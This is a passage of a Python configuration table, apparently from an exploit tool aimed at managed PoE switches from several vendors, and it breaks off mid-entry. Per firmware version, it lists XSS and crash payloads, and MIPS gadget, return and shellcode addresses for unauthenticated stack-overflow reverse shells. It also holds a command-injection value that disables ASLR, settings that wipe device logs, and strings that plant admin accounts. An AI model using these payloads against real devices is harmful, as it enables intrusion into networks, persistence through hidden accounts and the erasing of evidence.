'14044-32589': { 'template':'EnGenius', # Static for the vendor 'version':'1.06.21_c1.8.77_180906-0716', # Version / binary dependent stuff 'model':'EWS1200-28TFP', # Model 'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/', 'verify': { 'cpl_locallogin.cgi (XSS)': { 'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)', 'authenticated': False, 'response':'xss', 'Content-Type':False, 'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>', 'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.login (XSS)': { 'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)', 'authenticated': False, 'response':'xss', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.login?cmd=action', 'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'cpl_logo_ul.cgi': { 'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)', 'authenticated': False, 'response':'json', 'Content-Type':False, 'uri':'/cgi-bin/cpl_logo_ul.cgi', 'content':'Content-Disposition: filename.png\n------', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'cpl_locallogin.cgi': { 'description':'Stack overflow in "username/password (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB', 'content':'username=admin&password=' + self.random_string(196), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.login': { 'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.login?cmd=action', 'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.jrpc.dispatch.cgi': { 'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.jrpc.dispatch.cgi', 'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.auth': { 'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140), 'content':'', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E15C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24840690, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 6, # Should leave as-is (but you can play between 5 - 8) 'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart 'vulnerable': True, }, 'stack_cgi_add_account': { # pt: 0 = no password, 1 = cleartext, 2 = encrypted # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x42D1D4, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x42D1D4, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pv=0&op=0', # 'vulnerable': True, # }, 'stack_cgi_diag': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_tracertSet() # traceroute 'web_sys_ping_post': 0x42CB8C, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0', 'sys_ping_post_check':'', 'verify_uri':'/conf_tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet() 'log_settings_set':0x4494E8, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_ramClear':0x44B0C0, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_fileClear':0x44B0C0, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntp_set':0x42E438, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSntpDel_set() 'sys_timeSntpDel_set':0x42E438, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_timeSettings_set() 'sys_timeSettings_set':0x42E438,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'security.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() 'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', 'START':0x100271A0, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x104006A0, # end: You may want to play with this if you dont get it working 'usr_nop': 987, # NOP sled (shellcode will be tailed) 'pwd_nop': 69, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, '14044-44104': { 'template':'EnGenius', # Static for the vendor 'version':'1.07.22_c1.9.21_181018-0228', # Version / binary dependent stuff 'model':'EWS1200-28TFP', # Model 'uri':'https://www.engeniustech.com/engenius-products/managed-poe-network-switch-ews1200-28tfp/', 'verify': { 'cpl_locallogin.cgi (XSS)': { 'description':'XSS in "redirecturl,userurl,loginurl,username,password" (PoC: Count passed XSS)', 'authenticated': False, 'response':'xss', 'Content-Type':False, 'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=<script>alert(XSS);</script>&userurl=<script>alert(XSS);</script>&loginurl=<script>alert(XSS);</script>', 'content':'username=<script>alert(XSS);</script>&password=<script>alert(XSS);</script>', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.login (XSS)': { 'description':'XSS in "userurl & uamip" (PoC: Count passed XSS)', 'authenticated': False, 'response':'xss', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.login?cmd=action', 'content':'mac=dummy&res=dummy&userurl=<script>alert(XSS);</script>&uamip=<script>alert(XSS);</script>&alertmsg=dummy&called=dummy', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'cpl_logo_ul.cgi': { 'description':'Unauthenticated upload of "logo_icon". (PoC: Upload invalid file)', 'authenticated': False, 'response':'json', 'Content-Type':False, 'uri':'/cgi-bin/cpl_logo_ul.cgi', 'content':'Content-Disposition: filename.png\n------', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'cpl_locallogin.cgi': { 'description':'Stack overflow in "username/password (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/cpl_locallogin.cgi?redirecturl=AAAA&userurl=BBBB&loginurl=BBBB', 'content':'username=admin&password=' + self.random_string(196), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.login': { 'description':'Stack overflow in "called", XSS in "userurl & uamip" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.login?cmd=action', 'content':'mac=dummy&res=dummy&userurl=dummy&uamip=dummy&alertmsg=dummy&called=' + self.random_string(4100), 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.jrpc.dispatch.cgi': { 'description':'Stack overflow in "usr, pswrd and method" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.jrpc.dispatch.cgi', 'content':'{"id":1, "jsonrpc":"2.0","params":{"usr":"admin","pswrd":"' + self.random_string(288) + '"},"method":"login"}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, 'sn.captivePortal.auth': { 'description':'Stack overflow in "user, chap_chal, chap_pass" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi-bin/sn.captivePortal.auth?user=admin&chap_chal=challenge&chap_pass='+ self.random_string(140), 'content':'', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E15C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24840690, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 6, # Should leave as-is (but you can play between 5 - 8) 'safe': True, # Boa/Hydra restart/watchdog, False = no restart, True = restart 'vulnerable': True, }, 'stack_cgi_add_account': { # pt: 0 = no password, 1 = cleartext, 2 = encrypted # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x42C334, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pw=PASSWORD&pwn=PASSWORD&pv=0&op=1&', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x42C334, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pt=2&pv=0&op=0', # 'vulnerable': True, # }, 'stack_cgi_diag': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_tracertSet() # traceroute 'web_sys_ping_post': 0x42BCEC, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&uid=0', 'sys_ping_post_check':'', 'verify_uri':'/conf_tmp/check', 'vulnerable': True, # }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet() 'log_settings_set':0x448008, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_ramClear':0x449BE0, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_fileClear':0x449BE0, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntp_set':0x42D598, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntpDel_set':0x42D598, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSettings_set':0x42D598,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'security.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() 'query':'nop=nop&usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', 'START':0x100271A0, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x104006A0, # end: You may want to play with this if you dont get it working 'usr_nop': 987, # NOP sled (shellcode will be tailed) 'pwd_nop': 69, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Araknis Networks # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '8028-89928': { 'template':'Araknis', # Static for the vendor 'version':'1.2.00_171225-1618', # Version / binary dependent stuff 'model':'AN-310-SW-16-POE', # Model 'uri':'http://araknisnetworks.com/', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E04C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24840470, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 6, # Should leave as-is (but you can play between 5 - 8) 'safe': False, # Boa/Hydra restart/watchdog, False = no restart, True = restart 'vulnerable': True, }, 'stack_cgi_diag': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_tracertSet() # traceroute 'web_sys_ping_post': 0x42A494, # Jump one after 'sw $ra' # (address, binary dependent) 'sys_ping_post_cmd':'&ip=127.0.0.1 ;echo 0 > /proc/sys/kernel/randomize_va_space; cat /proc/sys/kernel/randomize_va_space > /tmp/conf_tmp/check #&mh=30&session_uid=0&uid=0', 'sys_ping_post_check':'', 'verify_uri':'/conf_tmp/check', 'vulnerable': True, # }, 'stack_cgi_add_account': { # /sqfs/home/web/cgi/set.cgi; sn_EncrypOnly_user_mngSet() 'address':0x4303B4, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pw=PASSWORD&pv=0&op=1&', # Admin, priv 15 'vulnerable': True, }, 'stack_cgi_del_account': { # /sqfs/home/web/cgi/set.cgi; sn_user_mngSet() 'address':0x42ADB8, # Jump one after 'sw $ra' # (address, binary dependent) 'account':'&na=USERNAME&pw=&pv=0&op=0', # 'vulnerable': True, # user }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_globalSet() 'log_settings_set':0x44DBD8, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_ramClear':0x44FC88, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_log_show_Set() 'log_fileClear':0x44FC88, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntp_set':0x42BAE4, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSntpDel_set':0x42BAE4, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/datajson.cgi; sn_sys_timeSet() 'sys_timeSettings_set':0x42BAE4,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'security.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() # We need these to push NOP and shellcode on higher heap addresses to avoid 0x00 'query': (self.random_string(1) +'=' + self.random_string(1) +'&') * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', #'query':'a=a&' * 110 + 'usr=admin&pswrd=_PWDNOP_RA_START&shellcode=_USRNOP_SHELLCODE', 'START':0x10010104, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP': 0x10600604, # end: You may want to play with this if you dont get it working 'usr_nop': 987, # NOP sled (shellcode will be tailed) 'pwd_nop': 69, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # ALLNET GmbH Computersysteme # JSON based SG8xxx # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '752-76347': { 'model':'ALL-SG8208M', 'template':'ALLNET_JSON', # Static for the vendor 'version':'2.2.1', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40C4FC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998528, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x248498dc, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { 'vulnerable': False, }, 'stack_cgi_log': { # /sqfs/home/web/cgi/set.cgi; cgi_log_settings_set() 'log_settings_set':0x412ADC, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_ramClear_set() 'log_ramClear':0x412A24, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_log_fileClear_set() 'log_fileClear':0x412A24, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntp_set':0x40FA74, # Jump one after 'sw $ra' # Set SNTP Server (Inject RCE) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSntpDel_set':0x40FA74, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi/set.cgi; cgi_sys_time_set() 'sys_timeSettings_set':0x40FA74,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable': True, }, 'heack_cgi_shell': { 'cgi':'set.cgi', # /sqfs/home/web/cgi/set.cgi; cgi_home_loginAuth_set() 'START':0x7ffeff04, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x7fc60000, # end: You may want to play with this if you dont get it working 'usr_nop': 64, # NOP sled (shellcode will be tailed) 'pwd_nop': 77, # filler/garbage (not used for something constructive) 'align': 3, # Align opcodes in memory 'stack':True, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # ALLNET GmbH Computersysteme # Not JSON based SG8xxx # (Traces in this image: 3One Data Communication, Saitian, Sangfor, Sundray, Gigamedia, GetCK, Hanming Technology, Wanbroad, Plexonics, Mach Power, Gigamedia, TG-NET) # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : Yes # Del credentials : Yes # '222-50100': { 'template':'ALLNET', # Static for the vendor 'version':'3.1.1-R3-B1', # Version / binary dependent stuff 'model':'ALL-SG8310PM', # Model 'uri':'https://www.allnet.de/en/allnet-brand/produkte/switches/entry-line-layer2-smart-managed-unamanged/poe-switches0/p/allnet-all-sg8310pm-smart-managed-8-port-gigabit-4x-hpoe', 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40C74C, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f99851c, # la $t9, system) # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484029c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_log': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_setting_post() 'log_settings_set':0x46BB04, # Jump one after 'sw $ra' # Disable Logging (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_ramClear':0x46F240, # Jump one after 'sw $ra' # Clean RAM log (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_log_file_del() 'log_fileClear':0x46F240, # Jump one after 'sw $ra' # Clean FILE log (address, binary dependent) 'vulnerable': True, }, 'stack_cgi_sntp': { # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntp_set':0x426724, # Jump one after 'sw $ra' # Set SNTP Server (Inject CMD) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_sntp_post() 'sys_timeSntpDel_set':0x426724, # Jump one after 'sw $ra' # Delete (address, binary dependent) # /sqfs/home/web/cgi-bin/dispatcher.cgi; web_sys_time_post() 'sys_timeSettings_set':0x424D28,# Jump one after 'sw $ra' # Enable/Disable (address, binary dependent) 'vulnerable':False, }, # Interesting when there is a fresh heap with 0x00's (4 x 0x00 == MIPS NOP), # and to fill wider area with sending '&%8f%84%01=%8f%84%80%18' where: # # NOP's # '24%04%FF=' : '=' will be replaced with 0x00, li $a0, 0xFFFFFF00 # '%24%04%FF%FF' : li $a0, 0xFFFFFFFF 'heack_cgi_shell': { 'cgi':'dispatcher.cgi', # /sqfs/home/web/cgi-bin/dispatcher.cgi; main() 'query':'username='+ self.random_string(112) +'_RA_START&password='+ self.random_string(80) +'&login=1'+ ('&%24%04%FF=%24%04%FF%FF' * 50) +'_SHELLCODE', 'START':0x10010104, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP' :0x10600604, # end: You may want to play with this if you dont get it working 'usr_nop': 28, # NOP sled (shellcode will be tailed) 'pwd_nop': 20, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'vulnerable': True, }, }, }, # # Netgear inc. # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : No (logging do not exist) # Del /var/log/flash.log : No (logging do not exist) # Del /mntlog/flash.log : No (logging do not exist) # Add credentials : No (Single account only) # Del credentials : No (Single account only) # '609-31457': { 'template':'Netgear', # Static for the vendor 'model':'GS750E ProSAFE Plus Switch', 'uri':'https://www.netgear.com/support/product/gs750e.aspx', 'version':'1.0.0.22', # Version / binary dependent stuff 'login': { 'encryption':'caesar', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&password=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}', }, 'verify': { 'set.cgi': { 'description':'Stack overflow in "password" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&password=' + self.random_string(320) + '&err_flag=0&err_msg=&submt=&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x4102F8, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f9984fc, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x24840c6c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 7, # Should leave as-is (but you can play between 5 - 8) 'vulnerable': True, }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, 'stack_cgi_log': { 'vulnerable': False, }, # # Interesting, by adding 0xc1c1c1c1 to START/STOP, remote end will decode to our original START/STOP (including 0x00) =] # 'heack_cgi_shell': { 'description':'Stack overflow in "password" (PoC: reverse shell)', 'authenticated': False, 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'logout_uri':'/cgi/set.cgi?cmd=home_logout', 'cgi':'set.cgi', # /sqfs/home/web/cgi-bin/security.cgi; main() 'START':0x10001210, # start: Stack overflow RA, used for searching NOP sled by blind jump 'STOP':0x10006210, # end: You may want to play with this if you dont get it working 'usr_nop': 50, # NOP sled (shellcode will be tailed) 'pwd_nop': 79, # filler/garbage (not used for something constructive) 'align': 0, # Align opcodes in memory 'stack':False, # NOP and shellcode lays on: True = stack, False = Heap 'query':'{"_ds=1&password=' + self.random_string(316) + '_RA_START&shellcode=_USRNOP_SHELLCODE&_de=1":{}}', 'workaround':False, # My LAB workaround 'vulnerable': True, 'safe': True }, }, }, # # Netgear inc. # # Note: # 'username' is vulnerable for stack overflow # 'pwd' use 'encode()' and not vulnerable for stack overflow (so we cannot jump with 'buffer method'...) # Boa/Hydra 'getFdStr()' loop modified, original xploit dont work (0x00 are now ok), weird 'solution' to have $t9 loaded with JMP in 'fwrite()' # 'hash=<MD5>' tailing all URI's # # CGI Reverse Shell : No # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : No # Del /var/log/flash.log : No # Del /mntlog/flash.log : No # Add credentials : No # Del credentials : No # '639-98866': { 'template':'Netgear', # Static for the vendor 'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP', 'uri':'https://kb.netgear.com/000060184/GS728TPv2-GS728TPPv2-GS752TPv2-GS752TPP-Firmware-Version-6-0-0-45', 'version':'6.0.0.45', # Version / binary dependent stuff 'info_leak':False, 'hash_uri':True, # tailed 'hash=' md5 hashed URI as csrf token 'login': { 'encryption':'encode', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}', }, 'verify': { 'set.cgi': { 'description':'Stack overflow in "username" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { # 'gadget': 0x45678C, # Direct heap address for NOP slep and shellcode # /sqfs/bin/boa; read_body(); 'system': 0x8f99853c, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484ae5c, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 6, # Should leave as-is (but you can play between 5 - 8) 'safe': False }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, }, }, '639-73124': { 'template':'Netgear', # Static for the vendor 'model':'GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP', 'uri':'https://www.netgear.com/support/product/GS752TPv2#Firmware%20Version%206.0.0.37', 'version':'6.0.0.37', # Version / binary dependent stuff 'info_leak':False, 'hash_uri':True, # tailed 'hash=' md5 hashed URI as csrf token 'login': { 'encryption':'encode', 'login_uri':'/cgi/set.cgi?cmd=home_loginAuth', 'query':'{"_ds=1&username=USERNAME&pwd=PASSWORD&err_flag=0&err_msg=&submt=&_de=1":{}}', }, 'verify': { 'set.cgi': { 'description':'Stack overflow in "username" (PoC: crash CGI)', 'authenticated': False, 'response':'502', 'Content-Type':False, 'uri':'/cgi/set.cgi?cmd=home_loginAuth', 'content':'{"_ds=1&username='+ self.random_string(100) +'&pwd=NOP&err_flag=0&err_msg=&submt=&_de=1":{}}', 'check_uri':False, 'content_check':False, 'vulnerable': True, 'safe': True }, }, 'exploit': { 'heack_hydra_shell': { # 'gadget': 0x45778C, # Direct heap address for NOP slep and shellcode # /sqfs/bin/boa; read_body(); 'system': 0x8f998538, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; read_body(); 'handler': 0x2484afec, # addiu $a0, (.ascii "handler -c boa &" - 0x430000) # (opcode, binary dependent) 'v0': 6, # Should leave as-is (but you can play between 5 - 8) 'safe': False }, 'stack_cgi_diag': { 'vulnerable': False, }, 'stack_cgi_add_account': { 'vulnerable': False, }, 'stack_cgi_del_account': { # 'vulnerable': False, }, }, }, # # EdimaxPRO # # CGI Reverse Shell : Yes # Boa/Hydra reverse shell: Yes # Del /var/log/ram.log : Yes # Del /var/log/flash.log : Yes # Del /mntlog/flash.log : Yes # Add credentials : Yes # Del credentials : Yes # '225-63242': { 'template':'Edimax', # Static for the vendor 'model':'GS-5424PLC', 'uri':'https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/smb_switches_poe/gs-5424plc', 'version':'1.1.1.5', # Version / binary dependent stuff 'exploit': { 'heack_hydra_shell': { # /sqfs/bin/boa; embedparse() 'gadget': 0x40E6DC, # Gadget: 'addu $v0,$gp ; jr $v0' (address, binary dependent) # /sqfs/bin/boa; read_body(); 'system': 0x8f998524, # la $t9, system # opcode, binary dependent # /sqfs/bin/boa; 